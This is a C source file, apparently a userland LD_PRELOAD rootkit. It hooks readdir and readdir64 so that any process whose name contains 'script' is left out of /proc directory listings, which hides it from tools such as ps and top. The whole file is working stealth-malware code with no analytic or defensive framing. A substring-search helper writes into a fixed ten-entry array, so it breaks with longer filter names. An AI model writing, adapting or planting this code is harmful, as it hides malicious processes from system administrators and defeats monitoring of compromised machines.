1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133
| # define _GNU_SOURCE
# include <stdio.h> # include <dlfcn.h> # include <dirent.h> # include <string.h> # include <unistd.h>
/* * Every process with this name will be excluded */ static const char* process_to_filter = "script";
/* * Get a directory name given a DIR* handle */ static int get_dir_name(DIR* dirp, char* buf, size_t size) { int fd = dirfd(dirp); if(fd == -1) { return 0; }
char tmp[64]; snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd); ssize_t ret = readlink(tmp, buf, size); if(ret == -1) { return 0; }
buf[ret] = 0; return 1; }
/* * Get a process name given its pid */ static int get_process_name(char* pid, char* buf) { if(strspn(pid, "0123456789") != strlen(pid)) { return 0; }
char tmp[256]; snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid); FILE* f = fopen(tmp, "r"); if(f == NULL) { return 0; }
if(fgets(tmp, sizeof(tmp), f) == NULL) { fclose(f); return 0; }
fclose(f);
int unused; sscanf(tmp, "%d (%[^)]s", &unused, buf); return 1; }
static void Next(const char* T,int *next){ int i=1; next[1]=0; int j=0; while (i<strlen(T)) { if (j==0||T[i-1]==T[j-1]) { i++; j++; next[i]=j; }else{ j=next[j]; } } } static int KMP(char * S,const char* T){ int next[10]; Next(T,next); int i=1; int j=1; while (i<=strlen(S)&&j<=strlen(T)) { if (j==0 || S[i-1]==T[j-1]) { i++; j++; } else{ j=next[j]; } } if (j>strlen(T)) { return i-(int)strlen(T); } return -1; }
# define DECLARE_READDIR(dirent, readdir) \ static struct dirent* (*original_## readdir)(DIR*) = NULL; \ \ struct dirent* readdir(DIR *dirp) \ { \ if(original_## readdir == NULL) { \ original_## readdir = dlsym(RTLD_NEXT, # readdir); \ if(original_## readdir == NULL) \ { \ fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \ } \ } \ \ struct dirent* dir; \ \ while(1) \ { \ dir = original_## readdir(dirp); \ if(dir) { \ char dir_name[256]; \ char process_name[256]; \ if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \ strcmp(dir_name, "/proc") == 0 && \ get_process_name(dir->d_name, process_name) && \ KMP(process_name, process_to_filter)!=-1) { \ continue; \ } \ } \ break; \ } \ return dir; \ }
DECLARE_READDIR(dirent64, readdir64); DECLARE_READDIR(dirent, readdir);
|